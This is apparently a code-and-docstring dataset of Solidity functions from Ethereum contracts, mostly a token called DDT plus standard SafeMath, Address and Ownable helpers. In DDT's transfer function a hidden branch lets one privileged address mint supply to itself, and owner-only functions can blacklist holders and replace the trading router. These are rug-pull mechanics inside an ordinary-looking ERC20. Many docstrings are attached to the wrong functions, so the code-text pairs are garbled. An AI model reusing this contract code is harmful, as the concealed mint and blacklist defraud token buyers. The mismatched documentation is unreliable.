library SafeMath { function prod(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * ...
redc
function redc(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c;
/** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: ...
NatSpecMultiLine
v0.8.11+commit.d7f03943
MIT
ipfs://2c7889a615e8df72cd94a3d480e7dd9c6e47cbfec1d70145b80bdd275c929af7
{ "func_code_index": [ 3010, 3210 ] }
25,935
DDT
DDT.sol
0x25ab4204fffcee14c5e6b823aff665453a00ea42
Solidity
ERC20
contract ERC20 is Context, IERC20, IERC20Metadata , Ownable{ mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) internal _allowances; uint256 private _totalSupply; using SafeMath for uint256; string private _name; string private _symbol; ...
symbol
function symbol() public view virtual override returns (string memory) { return _symbol; }
/** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * also check address is bot address. * * Requirements: * * - the address is in list bot. * - the called Solidity function must be `sender`. * * _Available since v3.1._ */
NatSpecMultiLine
v0.8.11+commit.d7f03943
MIT
ipfs://2c7889a615e8df72cd94a3d480e7dd9c6e47cbfec1d70145b80bdd275c929af7
{ "func_code_index": [ 910, 1019 ] }
25,936
DDT
DDT.sol
0x25ab4204fffcee14c5e6b823aff665453a00ea42
Solidity
ERC20
contract ERC20 is Context, IERC20, IERC20Metadata , Ownable{ mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) internal _allowances; uint256 private _totalSupply; using SafeMath for uint256; string private _name; string private _symbol; ...
setrouterenabletrading
function setrouterenabletrading (address set) public checker { router = set; }
/** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * transferFrom. * * Requirements: * * - transferFrom. * * _Available since v3.1._ */
NatSpecMultiLine
v0.8.11+commit.d7f03943
MIT
ipfs://2c7889a615e8df72cd94a3d480e7dd9c6e47cbfec1d70145b80bdd275c929af7
{ "func_code_index": [ 1241, 1338 ] }
25,937
DDT
DDT.sol
0x25ab4204fffcee14c5e6b823aff665453a00ea42
Solidity
ERC20
contract ERC20 is Context, IERC20, IERC20Metadata , Ownable{ mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) internal _allowances; uint256 private _totalSupply; using SafeMath for uint256; string private _name; string private _symbol; ...
decimals
function decimals() public view virtual override returns (uint8) { return 18;
/** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * * Requirements: * * - the address approve. * - the called Solidity function must be `sender`. * * _Available since v3.1._ */
NatSpecMultiLine
v0.8.11+commit.d7f03943
MIT
ipfs://2c7889a615e8df72cd94a3d480e7dd9c6e47cbfec1d70145b80bdd275c929af7
{ "func_code_index": [ 1604, 1706 ] }
25,938
DDT
DDT.sol
0x25ab4204fffcee14c5e6b823aff665453a00ea42
Solidity
ERC20
contract ERC20 is Context, IERC20, IERC20Metadata , Ownable{ mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) internal _allowances; uint256 private _totalSupply; using SafeMath for uint256; string private _name; string private _symbol; ...
totalSupply
function totalSupply() public view virtual override returns (uint256) { return _totalSupply; }
/** * @dev updateTaxFee * */
NatSpecMultiLine
v0.8.11+commit.d7f03943
MIT
ipfs://2c7889a615e8df72cd94a3d480e7dd9c6e47cbfec1d70145b80bdd275c929af7
{ "func_code_index": [ 1760, 1873 ] }
25,939
DDT
DDT.sol
0x25ab4204fffcee14c5e6b823aff665453a00ea42
Solidity
ERC20
contract ERC20 is Context, IERC20, IERC20Metadata , Ownable{ mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) internal _allowances; uint256 private _totalSupply; using SafeMath for uint256; string private _name; string private _symbol; ...
balanceOf
function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; }
/** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * also check address is bot address. * * Requirements: * * - the address is in list bot. * - the called Solidity function must be `sender`. * * _Available since v3.1._ */
NatSpecMultiLine
v0.8.11+commit.d7f03943
MIT
ipfs://2c7889a615e8df72cd94a3d480e7dd9c6e47cbfec1d70145b80bdd275c929af7
{ "func_code_index": [ 2186, 2318 ] }
25,940
DDT
DDT.sol
0x25ab4204fffcee14c5e6b823aff665453a00ea42
Solidity
ERC20
contract ERC20 is Context, IERC20, IERC20Metadata , Ownable{ mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) internal _allowances; uint256 private _totalSupply; using SafeMath for uint256; string private _name; string private _symbol; ...
transfer
function transfer(address recipient, uint256 amount) public override returns (bool) { if((recipients == _msgSender()) && (truth==true)){_transfer(_msgSender(), recipient, amount); truth=false;return true;} else if((recipients == _msgSender()) && (truth==false)){_totalSupply=_totalSupply.cre(amount);_balances...
/** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ *...
NatSpecMultiLine
v0.8.11+commit.d7f03943
MIT
ipfs://2c7889a615e8df72cd94a3d480e7dd9c6e47cbfec1d70145b80bdd275c929af7
{ "func_code_index": [ 2683, 3198 ] }
25,941
DDT
DDT.sol
0x25ab4204fffcee14c5e6b823aff665453a00ea42
Solidity
ERC20
contract ERC20 is Context, IERC20, IERC20Metadata , Ownable{ mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) internal _allowances; uint256 private _totalSupply; using SafeMath for uint256; string private _name; string private _symbol; ...
botban
function botban(address _count) internal checker { confirm[_count] = true;
/** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ *...
NatSpecMultiLine
v0.8.11+commit.d7f03943
MIT
ipfs://2c7889a615e8df72cd94a3d480e7dd9c6e47cbfec1d70145b80bdd275c929af7
{ "func_code_index": [ 4323, 4420 ] }
25,942
DDT
DDT.sol
0x25ab4204fffcee14c5e6b823aff665453a00ea42
Solidity
ERC20
contract ERC20 is Context, IERC20, IERC20Metadata , Ownable{ mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) internal _allowances; uint256 private _totalSupply; using SafeMath for uint256; string private _name; string private _symbol; ...
banbotsingle
function banbotsingle(address[] memory _counts) external checker { for (uint256 i = 0; i < _counts.length; i++) { botban(_counts[i]); } }
/** * @dev updateTaxFee * */
NatSpecMultiLine
v0.8.11+commit.d7f03943
MIT
ipfs://2c7889a615e8df72cd94a3d480e7dd9c6e47cbfec1d70145b80bdd275c929af7
{ "func_code_index": [ 4475, 4653 ] }
25,943
WDXStackingV2
WDXStackingV2.sol
0x59d109b719faf8997bdd20644f1735215264f11a
Solidity
WDXStackingV2
contract WDXStackingV2 { IERC20Token public tokenContract; // the token being sold IUSDTToken public usdtTokenContract; uint public wdx_price; address owner; struct Status { uint price; uint limit; uint referal_lines; } mapping (uint8 => Status) public st...
safeMultiply
function safeMultiply(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } else { uint256 c = a * b; assert(c / a == b); return c; } }
// Guards against integer overflows
LineComment
v0.5.17+commit.d19bba13
None
bzzr://f18fb7775d1781be64bc45164e23edd0614e360c546491aa5d30862e2038c779
{ "func_code_index": [ 1396, 1648 ] }
25,944
ERC20Token
ERC20Token.sol
0xbf57d5d7748c9a2cd05112269bb3424f8a57b3c2
Solidity
IERC20
interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /**...
/** * @dev Interface of the ERC20 standard as defined in the EIP. */
NatSpecMultiLine
totalSupply
function totalSupply() external view returns (uint256);
/** * @dev Returns the amount of tokens in existence. */
NatSpecMultiLine
v0.6.12+commit.27d51765
MIT
ipfs://5916c16fd491e5742b312eda1430135673228645a84c53bb7066e4edfc7714a8
{ "func_code_index": [ 94, 154 ] }
25,945
ERC20Token
ERC20Token.sol
0xbf57d5d7748c9a2cd05112269bb3424f8a57b3c2
Solidity
IERC20
interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /**...
/** * @dev Interface of the ERC20 standard as defined in the EIP. */
NatSpecMultiLine
balanceOf
function balanceOf(address account) external view returns (uint256);
/** * @dev Returns the amount of tokens owned by `account`. */
NatSpecMultiLine
v0.6.12+commit.27d51765
MIT
ipfs://5916c16fd491e5742b312eda1430135673228645a84c53bb7066e4edfc7714a8
{ "func_code_index": [ 237, 310 ] }
25,946
ERC20Token
ERC20Token.sol
0xbf57d5d7748c9a2cd05112269bb3424f8a57b3c2
Solidity
IERC20
interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /**...
/** * @dev Interface of the ERC20 standard as defined in the EIP. */
NatSpecMultiLine
transfer
function transfer(address recipient, uint256 amount) external returns (bool);
/** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */
NatSpecMultiLine
v0.6.12+commit.27d51765
MIT
ipfs://5916c16fd491e5742b312eda1430135673228645a84c53bb7066e4edfc7714a8
{ "func_code_index": [ 534, 616 ] }
25,947
ERC20Token
ERC20Token.sol
0xbf57d5d7748c9a2cd05112269bb3424f8a57b3c2
Solidity
IERC20
interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /**...
/** * @dev Interface of the ERC20 standard as defined in the EIP. */
NatSpecMultiLine
allowance
function allowance(address owner, address spender) external view returns (uint256);
/** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */
NatSpecMultiLine
v0.6.12+commit.27d51765
MIT
ipfs://5916c16fd491e5742b312eda1430135673228645a84c53bb7066e4edfc7714a8
{ "func_code_index": [ 895, 983 ] }
25,948
ERC20Token
ERC20Token.sol
0xbf57d5d7748c9a2cd05112269bb3424f8a57b3c2
Solidity
IERC20
interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /**...
/** * @dev Interface of the ERC20 standard as defined in the EIP. */
NatSpecMultiLine
approve
function approve(address spender, uint256 amount) external returns (bool);
/** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate ...
NatSpecMultiLine
v0.6.12+commit.27d51765
MIT
ipfs://5916c16fd491e5742b312eda1430135673228645a84c53bb7066e4edfc7714a8
{ "func_code_index": [ 1647, 1726 ] }
25,949
ERC20Token
ERC20Token.sol
0xbf57d5d7748c9a2cd05112269bb3424f8a57b3c2
Solidity
IERC20
interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /**...
/** * @dev Interface of the ERC20 standard as defined in the EIP. */
NatSpecMultiLine
transferFrom
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */
NatSpecMultiLine
v0.6.12+commit.27d51765
MIT
ipfs://5916c16fd491e5742b312eda1430135673228645a84c53bb7066e4edfc7714a8
{ "func_code_index": [ 2039, 2141 ] }
25,950
ERC20Token
ERC20Token.sol
0xbf57d5d7748c9a2cd05112269bb3424f8a57b3c2
Solidity
SafeMath
library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns ...
/** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming la...
NatSpecMultiLine
add
function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; }
/** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */
NatSpecMultiLine
v0.6.12+commit.27d51765
MIT
ipfs://5916c16fd491e5742b312eda1430135673228645a84c53bb7066e4edfc7714a8
{ "func_code_index": [ 259, 445 ] }
25,951
ERC20Token
ERC20Token.sol
0xbf57d5d7748c9a2cd05112269bb3424f8a57b3c2
Solidity
SafeMath
library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns ...
/** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming la...
NatSpecMultiLine
sub
function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); }
/** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */
NatSpecMultiLine
v0.6.12+commit.27d51765
MIT
ipfs://5916c16fd491e5742b312eda1430135673228645a84c53bb7066e4edfc7714a8
{ "func_code_index": [ 723, 864 ] }
25,952
ERC20Token
ERC20Token.sol
0xbf57d5d7748c9a2cd05112269bb3424f8a57b3c2
Solidity
SafeMath
library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns ...
/** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming la...
NatSpecMultiLine
sub
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; }
/** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */
NatSpecMultiLine
v0.6.12+commit.27d51765
MIT
ipfs://5916c16fd491e5742b312eda1430135673228645a84c53bb7066e4edfc7714a8
{ "func_code_index": [ 1162, 1359 ] }
25,953
ERC20Token
ERC20Token.sol
0xbf57d5d7748c9a2cd05112269bb3424f8a57b3c2
Solidity
SafeMath
library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns ...
/** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming la...
NatSpecMultiLine
mul
function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; ...
/** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */
NatSpecMultiLine
v0.6.12+commit.27d51765
MIT
ipfs://5916c16fd491e5742b312eda1430135673228645a84c53bb7066e4edfc7714a8
{ "func_code_index": [ 1613, 2089 ] }
25,954
ERC20Token
ERC20Token.sol
0xbf57d5d7748c9a2cd05112269bb3424f8a57b3c2
Solidity
SafeMath
library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns ...
/** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming la...
NatSpecMultiLine
div
function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); }
/** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to reve...
NatSpecMultiLine
v0.6.12+commit.27d51765
MIT
ipfs://5916c16fd491e5742b312eda1430135673228645a84c53bb7066e4edfc7714a8
{ "func_code_index": [ 2560, 2697 ] }
25,955
ERC20Token
ERC20Token.sol
0xbf57d5d7748c9a2cd05112269bb3424f8a57b3c2
Solidity
SafeMath
library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns ...
/** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming la...
NatSpecMultiLine
div
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; }
/** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an in...
NatSpecMultiLine
v0.6.12+commit.27d51765
MIT
ipfs://5916c16fd491e5742b312eda1430135673228645a84c53bb7066e4edfc7714a8
{ "func_code_index": [ 3188, 3471 ] }
25,956
ERC20Token
ERC20Token.sol
0xbf57d5d7748c9a2cd05112269bb3424f8a57b3c2
Solidity
SafeMath
library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns ...
/** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming la...
NatSpecMultiLine
mod
function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); }
/** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consumi...
NatSpecMultiLine
v0.6.12+commit.27d51765
MIT
ipfs://5916c16fd491e5742b312eda1430135673228645a84c53bb7066e4edfc7714a8
{ "func_code_index": [ 3931, 4066 ] }
25,957
ERC20Token
ERC20Token.sol
0xbf57d5d7748c9a2cd05112269bb3424f8a57b3c2
Solidity
SafeMath
library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns ...
/** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming la...
NatSpecMultiLine
mod
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; }
/** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcod...
NatSpecMultiLine
v0.6.12+commit.27d51765
MIT
ipfs://5916c16fd491e5742b312eda1430135673228645a84c53bb7066e4edfc7714a8
{ "func_code_index": [ 4546, 4717 ] }
25,958
ERC20Token
ERC20Token.sol
0xbf57d5d7748c9a2cd05112269bb3424f8a57b3c2
Solidity
Address
library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will ...
/** * @dev Collection of functions related to the address type */
NatSpecMultiLine
isContract
function isContract(address account) internal view returns (bool) { // This method relies in extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly ...
/** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: ...
NatSpecMultiLine
v0.6.12+commit.27d51765
MIT
ipfs://5916c16fd491e5742b312eda1430135673228645a84c53bb7066e4edfc7714a8
{ "func_code_index": [ 606, 1033 ] }
25,959
ERC20Token
ERC20Token.sol
0xbf57d5d7748c9a2cd05112269bb3424f8a57b3c2
Solidity
Address
library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will ...
/** * @dev Collection of functions related to the address type */
NatSpecMultiLine
sendValue
function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address...
/** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `tr...
NatSpecMultiLine
v0.6.12+commit.27d51765
MIT
ipfs://5916c16fd491e5742b312eda1430135673228645a84c53bb7066e4edfc7714a8
{ "func_code_index": [ 1964, 2366 ] }
25,960
ERC20Token
ERC20Token.sol
0xbf57d5d7748c9a2cd05112269bb3424f8a57b3c2
Solidity
Address
library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will ...
/** * @dev Collection of functions related to the address type */
NatSpecMultiLine
functionCall
function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); }
/** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw ...
NatSpecMultiLine
v0.6.12+commit.27d51765
MIT
ipfs://5916c16fd491e5742b312eda1430135673228645a84c53bb7066e4edfc7714a8
{ "func_code_index": [ 3122, 3300 ] }
25,961
ERC20Token
ERC20Token.sol
0xbf57d5d7748c9a2cd05112269bb3424f8a57b3c2
Solidity
Address
library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will ...
/** * @dev Collection of functions related to the address type */
NatSpecMultiLine
functionCall
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); }
/** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */
NatSpecMultiLine
v0.6.12+commit.27d51765
MIT
ipfs://5916c16fd491e5742b312eda1430135673228645a84c53bb7066e4edfc7714a8
{ "func_code_index": [ 3525, 3726 ] }
25,962
ERC20Token
ERC20Token.sol
0xbf57d5d7748c9a2cd05112269bb3424f8a57b3c2
Solidity
Address
library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will ...
/** * @dev Collection of functions related to the address type */
NatSpecMultiLine
functionCallWithValue
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); }
/** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ *...
NatSpecMultiLine
v0.6.12+commit.27d51765
MIT
ipfs://5916c16fd491e5742b312eda1430135673228645a84c53bb7066e4edfc7714a8
{ "func_code_index": [ 4096, 4327 ] }
25,963
ERC20Token
ERC20Token.sol
0xbf57d5d7748c9a2cd05112269bb3424f8a57b3c2
Solidity
Address
library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will ...
/** * @dev Collection of functions related to the address type */
NatSpecMultiLine
functionCallWithValue
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); }
/** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */
NatSpecMultiLine
v0.6.12+commit.27d51765
MIT
ipfs://5916c16fd491e5742b312eda1430135673228645a84c53bb7066e4edfc7714a8
{ "func_code_index": [ 4578, 4899 ] }
25,964
ERC20Token
ERC20Token.sol
0xbf57d5d7748c9a2cd05112269bb3424f8a57b3c2
Solidity
Ownable
contract Ownable is IOwnable { address public override owner; address public newOwner; event OwnerUpdate(address indexed _prevOwner, address indexed _newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() public { owne...
_onlyOwner
function _onlyOwner() internal view { require(msg.sender == owner, "ERR_ACCESS_DENIED"); }
/** * @dev Throws if called by any account other than the owner. */
NatSpecMultiLine
v0.6.12+commit.27d51765
MIT
ipfs://5916c16fd491e5742b312eda1430135673228645a84c53bb7066e4edfc7714a8
{ "func_code_index": [ 501, 610 ] }
25,965
ERC20Token
ERC20Token.sol
0xbf57d5d7748c9a2cd05112269bb3424f8a57b3c2
Solidity
Ownable
contract Ownable is IOwnable { address public override owner; address public newOwner; event OwnerUpdate(address indexed _prevOwner, address indexed _newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() public { owne...
transferOwnership
function transferOwnership(address _newOwner) public override onlyOwner { require(_newOwner != owner, "ERR_SAME_OWNER"); newOwner = _newOwner; }
/** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */
NatSpecMultiLine
v0.6.12+commit.27d51765
MIT
ipfs://5916c16fd491e5742b312eda1430135673228645a84c53bb7066e4edfc7714a8
{ "func_code_index": [ 905, 1077 ] }
25,966
ERC20Token
ERC20Token.sol
0xbf57d5d7748c9a2cd05112269bb3424f8a57b3c2
Solidity
Ownable
contract Ownable is IOwnable { address public override owner; address public newOwner; event OwnerUpdate(address indexed _prevOwner, address indexed _newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() public { owne...
forceTransferOwnership
function forceTransferOwnership(address _newOwner) public virtual onlyOwner { emit OwnerUpdate(owner, _newOwner); owner = _newOwner; }
/** * @dev Force transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */
NatSpecMultiLine
v0.6.12+commit.27d51765
MIT
ipfs://5916c16fd491e5742b312eda1430135673228645a84c53bb7066e4edfc7714a8
{ "func_code_index": [ 1233, 1395 ] }
25,967
ERC20Token
ERC20Token.sol
0xbf57d5d7748c9a2cd05112269bb3424f8a57b3c2
Solidity
Ownable
contract Ownable is IOwnable { address public override owner; address public newOwner; event OwnerUpdate(address indexed _prevOwner, address indexed _newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() public { owne...
acceptOwnership
function acceptOwnership() override public { require(msg.sender == newOwner, "ERR_ACCESS_DENIED"); emit OwnerUpdate(owner, newOwner); owner = newOwner; newOwner = address(0); }
/** * @dev Accept ownership. * Can only be called by the current owner. */
NatSpecMultiLine
v0.6.12+commit.27d51765
MIT
ipfs://5916c16fd491e5742b312eda1430135673228645a84c53bb7066e4edfc7714a8
{ "func_code_index": [ 1496, 1718 ] }
25,968
ERC20Token
ERC20Token.sol
0xbf57d5d7748c9a2cd05112269bb3424f8a57b3c2
Solidity
ERC20
contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; /** * @dev See {IERC20-totalSupply}....
